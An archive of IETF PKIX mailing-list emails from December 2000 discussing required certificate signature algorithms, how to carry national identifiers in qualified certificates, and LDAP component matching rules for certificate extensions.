Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA10586 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 10:11:55 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <0G5X00501K1FCF@ext-mail.valicert.com> for ietf-pkix@imc.org; Thu, 21 Dec 2000 10:15:16 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <0G5X00565K1F4I@ext-mail.valicert.com>; Thu, 21 Dec 2000 10:15:15 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <Z17TSRVV>; Thu, 21 Dec 2000 10:11:57 -0800
Content-return: allowed
Date: Thu, 21 Dec 2000 10:11:52 -0800
From: Ambarish Malpani <ambarish@valicert.com>
Subject: RE: Required Algorithms for Certificates
To: "'Russ Housley'" <housley@spyrus.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E6EBCE8@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Russ,
    Shouldn't RSA be the MUST.

What SAAG didn't conclude on was whether DSA should also be a MUST.
While I don't have a strong opinion on that, I think DSA should
just be a MAY, so that CAs who have clients who demand DSA can
implement it, while those who don't, don't need to, just to be
compliant.

The way you posted the mail, it should like neither DSA nor RSA are
a must, but (DSA or RSA) is a MUST.


A

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  ambarish@valicert.com
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Russ Housley [mailto:housley@spyrus.com]
> Sent: Wednesday, December 20, 2000 9:06 AM
> To: ietf-pkix@imc.org
> Subject: Re: Required Algorithms for Certificates
> 
> 
> As everyone who was at the meeting in San Diego knows, this 
> posting lead to 
> a long discussions in PKIX, S/MIME, and SAAG sessions.  Based 
> on those 
> discussions, I suggest a possible way forward for son-of-rfc2459.
> 
> CAs MUST be able to sign certificates and CRLs with at least 
> one of the 
> following:
>          - DSA with SHA-1, or
>          - RSA with SHA-1.
> 
> CAs MAY sign certificates and CRLs with any additional 
> algorithms that they 
> wish.
> 
> Certificate users MUST be able to validate signatures on 
> certificates and 
> CRLs with all of the following:
>          - DSA with SHA-1, and
>          - RSA with SHA-1.
> 
> Certificate users MAY validate signatures on certificates and 
> CRLs with any 
> additional algorithms that they wish.
> 
> Russ
> 
> At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
> >In reviewing the algorithm draft 
> (draft-ietf-pkix-ipki-pkalgs-01.txt) again,
> >I remembered that I did have one problem with the draft.  I 
> think that it is
> >fine that the certificate structure draft does not contain algorithm
> >information.  However I feel that the algorithms draft needs 
> to have some
> >MUST style statements contained in it.  I propose adding the 
> following text:
> >
> >To fully comply with this document, implementations MUST support DSA
> >Signature (section 2.2.2).  Implementations MAY support MD2 
> RSA signatures
> >for validation but MUST NOT create new certificates using 
> this algorithm.
> >Implementations MAY support all other algorithms in this 
> document at their
> >discretion.
> >
> >jim schaad
> 


Received: from blv-smtpout-01.boeing.com (blv-smtpout-01.boeing.com [192.161.36.5]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA09835 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 09:27:49 -0800 (PST)
Received: from stl-av-01.boeing.com ([192.76.190.6]) by blv-smtpout-01.boeing.com (8.9.2/8.8.5-M2) with ESMTP id JAA18840 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 09:31:10 -0800 (PST)
Received: from stl-hub-01.boeing.com (localhost [127.0.0.1]) by stl-av-01.boeing.com (8.9.3/8.9.2) with ESMTP id LAA01400 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 11:30:06 -0600 (CST)
Received: from xch-pssbh-03.ca.boeing.com by stl-hub-01.boeing.com with ESMTP for ietf-pkix@imc.org; Thu, 21 Dec 2000 11:29:20 -0600
Received: by xch-pssbh-03.ca.boeing.com with Internet Mail Service (5.5.2650.21) id <YS13SLFR>; Thu, 21 Dec 2000 09:29:19 -0800
Message-Id: <7971F8E10FC92A4A8843153152E62CF917B664@xch-nw-12.ca.boeing.com>
From: "Knoll, Jacqueline D" <Jacqueline.Knoll@PSS.Boeing.com>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Date: Thu, 21 Dec 2000 09:29:10 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

unsubscribe




Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA07928 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 08:48:28 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailb.telia.com (8.9.3/8.9.3) with ESMTP id RAA16277; Thu, 21 Dec 2000 17:50:41 +0100 (CET)
Received: from mega (t6o69p67.telia.com [213.64.110.187]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBLGoco21248; Thu, 21 Dec 2000 17:50:38 +0100 (CET)
Message-ID: <004501c06b6d$f05d2f60$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "PKIX-List" <ietf-pkix@imc.org>, <juancarlos.perez@acepta.com>, "Denis Pinkas" <Denis.Pinkas@bull.net>
References: <OMEPKMCLOLGHNMNOJKKIGEFHCCAA.juancarlos.perez@acepta.com> <3A41C918.3A44C888@bull.net>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why   don't using Permanent Identifier on QC certificates?)
Date: Thu, 21 Dec 2000 17:49:06 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id IAA07930

> I would use a different example:
> 
> C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serial number = 22
> C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serail number = 23
> 
> These two individuals are different. Their names are unique. However, their
> serial numbers no NOT relate to any national identification scheme. The PI could
> suport a national identification scheme or any other identification scheme.
> 
> This means that there exist cases where both the serial number from the DN and
> the PI have some reason to co-exist.

Juan and Denis,

Technically possible solution yes, but inserting disambiguating nonsense serial numbers in the DN when 
you actually have a unique identity number (national or other) seems like a very odd solution. 

For migration purposes CAs will have to continue "to put the identity in the DN" essentially 
until/if PI is built into the heart of all major RP software. The current solution is to use external "mapping 
software" that extract PI-info and supply "naming authority" externally. As the number of CAs that 
a given RP is likely to support/trust is likely to be fairly limited, this makes PI somewhat redundant. 

If PI instead had been targeted to support the existing DN mapping processes instead of creating new 
places to stuff partly redundant identity information (efectively "competing with DN"), it would had been a
nicer option.

Or you can of course use the following semantics: If there is a PI - ignore DN completely.  It should
only be used for "display purposes".  I find this neither compatible with current practice nor with QC.

Anders




Received: from mail.spyrus.com (mail.spyrus.com [207.212.34.20]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA03507 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 07:47:55 -0800 (PST)
Received: from RHOUSLEY-PC.spyrus.com ([209.172.119.210]) by mail.spyrus.com (8.9.3/8.9.3) with ESMTP id HAA08218 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 07:50:46 -0800 (PST)
Message-Id: <5.0.1.4.2.20001220115811.029c49c0@mail.spyrus.com>
X-Sender: rhousley@mail.spyrus.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Wed, 20 Dec 2000 12:05:57 -0500
To: <ietf-pkix@imc.org>
From: Russ Housley <housley@spyrus.com>
Subject: Re: Required Algorithms for Certificates
In-Reply-To: <000001c064a6$7f8ab780$564889cf@soaringhawk.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

As everyone who was at the meeting in San Diego knows, this posting lead to 
a long discussions in PKIX, S/MIME, and SAAG sessions.  Based on those 
discussions, I suggest a possible way forward for son-of-rfc2459.

CAs MUST be able to sign certificates and CRLs with at least one of the 
following:
         - DSA with SHA-1, or
         - RSA with SHA-1.

CAs MAY sign certificates and CRLs with any additional algorithms that they 
wish.

Certificate users MUST be able to validate signatures on certificates and 
CRLs with all of the following:
         - DSA with SHA-1, and
         - RSA with SHA-1.

Certificate users MAY validate signatures on certificates and CRLs with any 
additional algorithms that they wish.

Russ

At 05:45 PM 12/12/2000 -0800, Jim Schaad wrote:
>In reviewing the algorithm draft (draft-ietf-pkix-ipki-pkalgs-01.txt) again,
>I remembered that I did have one problem with the draft.  I think that it is
>fine that the certificate structure draft does not contain algorithm
>information.  However I feel that the algorithms draft needs to have some
>MUST style statements contained in it.  I propose adding the following text:
>
>To fully comply with this document, implementations MUST support DSA
>Signature (section 2.2.2).  Implementations MAY support MD2 RSA signatures
>for validation but MUST NOT create new certificates using this algorithm.
>Implementations MAY support all other algorithms in this document at their
>discretion.
>
>jim schaad



Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA02492 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 01:12:37 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA17210 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 10:22:30 +0100
Received: from bull.net (fradint30.bull.fr [129.181.85.30]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id KAA22888; Thu, 21 Dec 2000 10:15:11 +0100
Message-ID: <3A41CA20.8FD4BF2B@bull.net>
Date: Thu, 21 Dec 2000 10:15:12 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
X-Mailer: Mozilla 4.5 [fr] (Win95; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Tom Gindin <tgindin@us.ibm.com>
CC: Ietf-Pkix <ietf-pkix@imc.org>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why  don'tusing Permanent Identifier on QC certificates?)
References: <OF0809177C.C0CB638E-ON852569BB.0059E761@somers.hqregion.ibm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tom,


>      Responses below.  One question brought up by this thread is whether QC
> should use PI now that PI has reached a similar point in the cycle.  When
> QC was at draft 3 while PI was brand new, there were reasons not to delay
> QC's for PI's, irrespective of PI's possible usefulness within QC's.  Those
> reasons no longer apply.

QC is now a RFC (Proposed Standard). Maybe it would be nice to add a section in
PI to explain how PI may be used in conjuction with a QC and explain more about
the use of serial number in the DN field from QC. This does not change any of
the basics from PI, but could provide useful information to the reader.

Denis


>      Most of the detailed responses below deal with the question of whether
> there is any reason to make the DN of a governmental assignment authority
> easily distinguishable from that of a private organization acting as an
> assignment authority.
>
>           Tom Gindin
>
> Juan Carlos Perez Aguayo <juancarlos.perez@acepta.com> on 12/20/2000
> 11:57:39 AM
>
> Please respond to <juancarlos.perez@acepta.com>
>
> To:   "Robert Moskowitz" <rgm-sec@htt-consult.com>
> cc:   "Ietf-Pkix" <ietf-pkix@imc.org>
> Subject:  National Identifier into Serial Number or SubjectAltName? (Was:
>       Why don't using Permanent Identifier on QC certificates?)
>
> May be isn't a good idea to incorporate Permanet Identifier into a QC, as
> Anders Rundgren did say to me:
>
> "...If you use QC DN must be unique so you really do not have an
> alternative
> but keep SerailNymber
> and insert a redundant SerialNumber in a PI entry.
>
> That's why I think PI is wrong. ..."
>
> My principal concern is about how to incorporate a national ID into a
> certificate, in a interoperable fashion.
>
> I don't know how many countries has National IDs, and if is desired that
> such ID could be to incorporated into a digital certificate, but in my
> country (CHILE) so happen, and I wish to using a standard solution...
>
> I think that QC is a good solution for certificates issued only a physical
> people, and when a require a unique statement of identity
>
> I like PI solution, mainly because I think that "Permanent Identifier" ia a
> separate concept, and should be outer the DN, but I am concern about how
> many support into the PKIX WG the PI has currently. Seem that QC has better
> support today.
>
> I am the Chief Technology Officer of a newly Certification Authority in my
> country (we are currently not in production yet, but soon I hope :) ), and
> I
> am strongly supporting "PKIX standards" for our certificates.
>
> If you are not interested in a discussion on Chilean National IDs and
> certificates, you might skip the
> rest of this message.
>
> In my country , Chile, the Civil Registry Authority issue a unique
> identifier (on a national domain) on birth. This ID is put into a plastic
> "identification card" (and biometrics information is on the card too).
> Every
> citizen has a ID. This ID is used for many transactions: tax pay, obtaining
> bank accounts, voting, ... Then I think that is nice to incorporate this ID
> into a certificate, as a "virtual" identification card (whidauth photo and
> biometrics).
>
> [Tom Gindin] Such an ID would be the most common case of a PI with the
> assignment authority set to C=CL.
>
> The companies must to obtain a ID assigned by the authority too. This ID
> uniquely identify the company into the country.
>
> [Tom Gindin] The only issue in implementing this is what the correct
> assignment authority name would be.  If the ID's are not clearly
> incompatible (a different number of digits or an alpha prefix unique to
> companies, for example), they could not use the same assignment authority
> name.  Do we need to standardize a specific attribute value under a
> geographic unit (whether C, C + ST, C + L, or C + ST + L) to indicate
> organizational ID's while reserving the unqualified geographic unit name
> for personal ID's assigned by the government of that unit, or should the
> government just assign an organization name which will be human-readable
> but will differ between jurisdictions?  There is no obvious X.520 attribute
> to standardize under, nor any in RFC 1274 nor PKCS#9.
>
> Which do you think that is the PI draft future support?
>
> Thanks
>
> Juan Carlos Perez Aguayo
> CTO
> Acepta.com
> juancarlos.perez@acepta.com



Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA01822 for <ietf-pkix@imc.org>; Thu, 21 Dec 2000 01:08:16 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id KAA23482; Thu, 21 Dec 2000 10:17:59 +0100
Received: from bull.net (fradint30.bull.fr [129.181.85.30]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id KAA20168; Thu, 21 Dec 2000 10:10:50 +0100
Message-ID: <3A41C918.3A44C888@bull.net>
Date: Thu, 21 Dec 2000 10:10:49 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
X-Mailer: Mozilla 4.5 [fr] (Win95; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: juancarlos.perez@acepta.com
CC: Ietf-Pkix <ietf-pkix@imc.org>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: Why   don't using Permanent Identifier on QC certificates?)
References: <OMEPKMCLOLGHNMNOJKKIGEFHCCAA.juancarlos.perez@acepta.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> I understand that SerialNumber isn't *optional*, because DN has to be
> unique, if the CN isn't unique.
>
> By example, two persons that have equal names (CN, givenName.
>
> C= CL, O= My org, OU = my Unit, CN = Jhon Davis and National ID 123
> C= CL, O= My org, OU = my Unit, CN = Jhon Davis and National ID 444

I would use a different example:

C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serial number = 22
C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serail number = 23

These two individuals are different. Their names are unique. However, their
serial numbers no NOT relate to any national identification scheme. The PI could
suport a national identification scheme or any other identification scheme.

This means that there exist cases where both the serial number from the DN and
the PI have some reason to co-exist.

Denis


> Using QC, is need to incorporate National ID into DN, for uniquiness =>
> SerialNumber = 123, and SerialNumber =444
>
> If we can using not unique DNs, we can put PI for identity uniqueness into
> QC.
>
> regards
>
> Juan Carlos



Received: from arnie.adacel.com.au (arnie.adacel.com.au [203.36.26.147]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA13007 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 23:13:31 -0800 (PST)
Received: (qmail 21704 invoked from network); 21 Dec 2000 07:21:17 -0000
Received: from unknown (HELO osmium) (203.8.85.176) by arnie.adacel.com.au with SMTP; 21 Dec 2000 07:21:17 -0000
Reply-To: <steven.legg@adacel.com.au>
From: "Steven Legg" <steven.legg@adacel.com.au>
To: "'David Chadwick'" <d.w.chadwick@salford.ac.uk>
Cc: "'PKIX'" <ietf-pkix@imc.org>, "'OSI X.500'" <osidirectory@az05.bull.com>
Subject: RE: Matching rules for LDAP
Date: Thu, 21 Dec 2000 18:17:25 +1100
Message-ID: <002001c06b1e$12810490$b05508cb@osmium.adacel.com.au>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
X-Mimeole: Produced By Microsoft MimeOLE V4.72.2120.0
Importance: Normal
In-Reply-To: <3A38F6C7.B2E0E0F5@salford.ac.uk>

David,

> At the PKIX meeting yesterday there was insufficient time to go through
> all the proposed agenda items. One topic that fell off the bottom was
> new LDAP schema for PKIs and PMIs. I had prepared a presentation listing
> a number of topics that need to be resolved, so I reproduce these here
> below, so that we can get some discussion of them on the list.


> Should we allow LDAP attribute names to be used instead of OIDs to
> reference attributes in attribute certificate matching

My preference would be no, however we could wait to see what happens
in LDAPbis to address non-uniqueness of attribute names in DNs,
and then use the same resolution.


> Do we need the full richness of the X.500 matching rules or can we use a
> subset of them
> e.g. can we use name constraints based on whole subtrees rather than on
> chopped subtrees
>
> Do we need to add matching rules for cross certificates and/or S/MIME
> certificates


> X.509 has used different matching methods for PKIs and PMIs. PKI has one
> complex flexible matching rule holding most standard extensions. PMI has
> a separate matching rules for each extension. Do we want to use the
> X.509 method or alternatively use the same method for both PKIs and
> PMIs. Personnally I think X.509 got it wrong here, and should have
> devised separate matching rules for each extension for both PKIs and
> PMIs. Then when new extensions are defined, new LDAP matching rules can
> be defined to go with them.
>
> How many extension matching rules should we define for PMIs.
> none, the most popular ones (which are they), or all?

The component matching rules concept, with some tweaks, makes these
questions go away. Knowing the ASN.1 type of a value (or component
part, like an extension) is sufficient to implicitly and completely
define a wide range of useful matching capabilities. There is no need
to define new extension-specific matching rules or assign new LDAP
syntax OIDs for the matching rule assertion syntaxes. Section 8 of
the component matching rules draft also defines what the LDAP string
encoding would be.

The Certificate and AttributeCertificate extensions present a
special problem in that the value of the extension is carried
as a DER encoding in an OCTET STRING component. The component
matching rules as currently defined can only do an octetStringMatch
of the entire extension value, but I can see a couple of ways
around this to define a matching capability that is a superset of
the current extension matching rules, with a fraction of the
descriptive text.

The first solution is to add a BOOLEAN field (I'll call it useContained)
to the ComponentAssertion syntax to allow the user to specify that
the content of a BIT STRING or OCTET STRING component is to be
treated as an open type. Under the existing component matching rule
framework this will allow the component parts of the DER encoded
extension value to be referenced and matched.

By way of example, I'll show how the component matching rules can be
used to perform matching just like the basicAttConstraintsMatch from
X.509:2000.

The basicAttConstraints extension has an OID of { 2 5 29 41 } and
a value syntax of:

    BasicAttConstraintsSyntax ::= SEQUENCE {
        authority            BOOLEAN DEFAULT FALSE,
        pathLenConstraint    INTEGER (0..MAX) OPTIONAL
    }

An LDAP filter to search for basicAttContraints extensions with
authority TRUE and a path length constraint of three looks like this:

(attributeCertificateAttribute:componentFilterMatch:=and:{
    item:{ component "toBeSigned.extensions.*.extnId",
        rule objectIdentifierMatch, value 2.5.29.41 } },
    item:{ component "toBeSigned.extensions.*.extnValue",
        useContained TRUE,
        value { rule componentFilterMatch,
            value and:{
                item:{ component "authority", rule booleanMatch, value
TRUE },
                item:{ component "pathLenConstraint",
                    rule integerMatch, value 3 } } } } } )

Breaking it down, this bit:

    item:{ component "toBeSigned.extensions.*.extnId",
        rule objectIdentifierMatch, value 2.5.29.41 } },

matches the relevant extension OID, this bit:

    item:{ component "toBeSigned.extensions.*.extnValue",
        useContained TRUE,

exposes the contents of the extnValue OCTET STRING as a value
of BasicAttConstraintsSyntax ASN.1 type, and this bit:

        value { rule componentFilterMatch,
            value and:{
                item:{ component "authority", rule booleanMatch, value
TRUE },
                item:{ component "pathLenConstraint",
                    rule integerMatch, value 3 } } }

tests whether the extension value has the authority and path length
constraint I'm looking for.


The second solution is to use a special-purpose matching rule to do
the job of exposing the extension value.

    containingMatch MATCHING-RULE ::= {
        -- can only be applied to OCTET STRING or BIT STRING attribute
values,
        -- or components, containing an encoded value of some ASN.1 type
        SYNTAX  ContainingAssertion
        ID      { ... } }

    ContainingAssertion ::= SEQUENCE {
        rule    MATCHING-RULE.&id,
            -- the matching rule to apply to the decoded contents
            -- of the OCTET STRING or BIT STRING
        value   MATCHING-RULE.&AssertionType
            -- an assertion value for the matching rule -- }

The LDAP filter would then look like this instead:

(attributeCertificateAttribute:componentFilterMatch:=and:{
    item:{ component "toBeSigned.extensions.*.extnId",
        rule objectIdentifierMatch, value 2.5.29.41 } },
    item:{ component "toBeSigned.extensions.*.extnValue",
        rule containingMatch,
        value { rule componentFilterMatch,
            value and:{
                item:{ component "authority", rule booleanMatch, value
TRUE },
                item:{ component "pathLenConstraint",
                    rule integerMatch, value 3 } } } } })

I'd prefer this second solution because it allows special-case and weird
matching semantics to be kept out of the basic component matching rule
definitions.

The extension matching rules in X.509 seem to follow a general pattern
of "the matching rule returns TRUE if the stored value contains the foobar
extension and if components that are present in the assertion value
match the corresponding components of the stored value". This suggests
a convenience matching rule to make things simpler for PKI. The
directoryComponentsMatch matching rule tests if components that are
present in the assertion value match components of the stored
value, but also tests that components not present in the assertion
value are also absent in the stored value. I could define a
directoryComponentSubsetMatch that only tests if components that are
present in the assertion value match components of the stored
value. Using such a rule, the last example filter reduces to:

(attributeCertificateAttribute:componentFilterMatch:=and:{
    item:{ component "toBeSigned.extensions.*.extnId",
        rule objectIdentifierMatch, value 2.5.29.41 } },
    item:{ component "toBeSigned.extensions.*.extnValue",
        rule containingMatch,
        value { rule directoryComponentSubsetMatch,
            value { authority TRUE, pathLenConstraint 3 } } } } )

I picked on an extension with a simple structure as my example.
The usefulness of directoryComponentSubsetMatch would be more evident
on some of the more complex extension syntaxes.

By the way, by comparison to the component matching rules I find the
descriptions of the semantics of some of the extension matching rules
seriously underspecified. There would appear to be plenty of
opportunities for different interpretations by different implementors.

Regards,
Steven

> This should give folks enough to think about whilst I take the plane
> home later today
>
> David
>
>
> --
> *****************************************************************
>
> David Chadwick, BSc PhD
> Post: IS Institute, University of Salford, Salford M5 4WT
> Tel: +44 161 295 5351  Fax +44 161 745 8169
> Mobile: +44 790 167 0359
> Email: D.W.Chadwick@salford.ac.uk
> Home Page:  http://www.salford.ac.uk/its024/chadwick.htm
> Research Projects: http://sec.isi.salford.ac.uk
> Understanding X.500:  http://www.salford.ac.uk/its024/X500.htm
> X.500/LDAP Seminars: http://www.salford.ac.uk/its024/seminars.htm
> Entrust key validation string: MLJ9-DU5T-HV8J
>
> *****************************************************************



Received: from chet.brysonweb.com (IDENT:root@chet.brysonweb.com [209.67.195.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id UAA06469 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 20:15:45 -0800 (PST)
Received: from aaron (loghost [208.58.66.79]) by chet.brysonweb.com (8.9.3/8.9.3) with SMTP id XAA10815 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 23:20:55 -0500
From: "Aaron S. Carmichael" <aaron@timecertain.com>
To: "'PKIX-List'" <ietf-pkix@imc.org>
Subject: xmass
Date: Wed, 20 Dec 2000 23:19:14 -0500
Message-ID: <000401c06b05$2dc270e0$4f423ad0@cable.rcn.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01C06ADB.44EC68E0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <004401c06739$f7b9f550$0201a8c0@vincent.se>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C06ADB.44EC68E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit


Well, Merry Xmass to all...

Even if this is for PKIX only... We can all say Merry Xmass....

aaron


Aaron S. Carmichael
VP Information Technology
TimeCertain, LLC.
202-244-3243 (voice)
202-244-5694 (fax)
aaron@timecertain.com
http://www.timecertain.com

----------------------------------------
This message is for the named persons use only.  It may contain
confidential, proprietary or legally privileged information.  No
confidentiality or privilege is waived or lost by any mistransmission.  If
you receive this message in error, please immediately delete it and all
copies of it from your system, destroy any hard copies of it and notify the
sender.  You must not, directly or indirectly, use, disclose, distribute,
print, or copy any part of this message if you are not the intended
recipient. Any views expressed in this message are those of the individual
sender, except where the message states otherwise and the sender is
authorized to state them to be the views of any such entity.


-----Original Message-----
From: Anders Rundgren [mailto:anders.rundgren@telia.com]
Sent: Saturday, December 16, 2000 3:27 AM
To: PKIX-List; Stephen Kent
Subject: Digital Signature Infrastructure Was: Classic PKI vs Thin
PKI/S2ML


Steve,

> The financial community has a set of concerns that are entirely
> valid, and are NOT the whole of PKI.

maybe not, but their basic model for domain-security, and general trust
model does IMO apply to
practically the entire O2O/B2B-field. 95% or more is my educated guess.

Here is an extremely condensed version of my (unfortunately refused) RSA2001
paper on the subject.

Just to take a very simple example from the health-care sector (to get away
from the proprietary stigma
of the financial sector). An outside service provider like a catering
company that is getting orders
from "a PKI-enabled healthcare community":

Using Classical PKI, the biggest problem (except who is going to issue
certificates, potentially containing role
data) with such signatures are:
- Authority. Who has the right to perform a certain signature? And how do
you express it?
- Trace ability. How do you save signatures (i.e.
decisions/orders/prescriptions)?
- Relying party. What to interpret and trust?

Using Thin PKI the solution gets very simple although [maybe] incompatible
with current signature laws:

A. An organization representative signs using an individual cert+key. The
cert does not even have to say
    that the representative is employed by the organization or has some
particular function.
B. The signed transaction is sent to an
"organization-authority-and-signing-server" that
B.1 Checks that the cert is not revoked and coming from a trusted issuer
B.2 Checks that the individual is working for the organization and is
AUTHORIZED
to perform the signature operation
B.3 Saves the transaction as a receipt versus the representative
B.4 Removes the representative's signature. Sheltering individuals/employees
is a requirement.
   Contact information is another thing which should be supplied in the
transaction as attributes
B.5 Adds an "organizational signature" (=stamp) to the unsigned transaction
B.6 Saves the re-signed transaction as a receipt versus the "outside" /
receiver
C. Sends the re-signed transaction to the end-destination

The Stamp (organization certificate) can preferably be issued by a TTP and
be published on the
organization's home-page for easy reference. Can PKI be simpler?  You may
think that this
trust model is very primitive as there is no [external] granularity, but
this is by design.  Simplicity
has an advantage: It can be communicated and implemented.  Organization
certificates then become
the true digital replacements to company letterheads.  For the rare
instances you [externally] need
tighter bindings, you can always dual-sign transactions, add TSP etc.  The
bottom
line is that the basic infrastructure is still intact!

Using the above approach the "information tunnel" between organizations is
minimized and
scalability is optimized. And with backtracking and archiving is built-in.

This is actually the way banks operate. I.e. their clients are only [fully]
known and trusted locally,
while the banks as organizations have their own interoperable and trusted
domain .

And in similarity to banks this allows the clients security solutions
develop in
a different pace (and uncoordinated among organizations), versus the
inter-organization
security solutions.

Using TTPs and ASPs, Thin PKI scales downwards as well.  Any organization
will be able to use digital signatures with ease.  As they already can with
Internet-banks.

Note1: I have yet to see a single classical PKI program having acceptable
(and particularly
DEPLOYABLE) solutions to archiving, authority control, and backtracking.

Note2: I did not invent this model. The banks did (in principal). 200-300
years ago...
Using PKI, secure servers, LDAP and transaction databases,  it gets really
cool!

Anders Rundgren
co-founder
X-OBI
+46 70 - 627 74 37

------=_NextPart_000_0005_01C06ADB.44EC68E0
Content-Type: text/x-vcard;
	name="Aaron S. Carmichael (E-mail).vcf"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="Aaron S. Carmichael (E-mail).vcf"

BEGIN:VCARD
VERSION:2.1
N:Carmichael;Aaron
FN:Aaron S. Carmichael (E-mail)
ORG:TimeCertain
TITLE:VP Information Technology
TEL;WORK;VOICE:(202) 244-3243
TEL;HOME;VOICE:(202) 244-5125
TEL;CELL;VOICE:(202) 255-2502
TEL;WORK;FAX:(202) 244-5694
ADR;WORK:;;2840 Chesapeake St. NW;Washington;D.C.;20008-1044;United =
States of America
LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:2840 Chesapeake St. =
NW=3D0D=3D0AWashington, D.C. 20008-1044=3D0D=3D0AUnited States o=3D
f America
REV:20000802T043915Z
END:VCARD

------=_NextPart_000_0005_01C06ADB.44EC68E0--



Received: from localhost.localdomain ([206.48.156.90]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA23332 for <ietf-pkix@imc.org>; Wed, 20 Dec 2000 11:47:32 -0800 (PST)
Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id QAA19664; Wed, 20 Dec 2000 16:47:09 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?us-ascii?Q?Juan_Carlos_Perez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Denis Pinkas" <Denis.Pinkas@bull.net>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: RE: National Identifier into Serial Number or SubjectAltName? (Was: Why  don't using Permanent Identifier on QC certificates?)
Date: Wed, 20 Dec 2000 16:48:22 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIGEFHCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
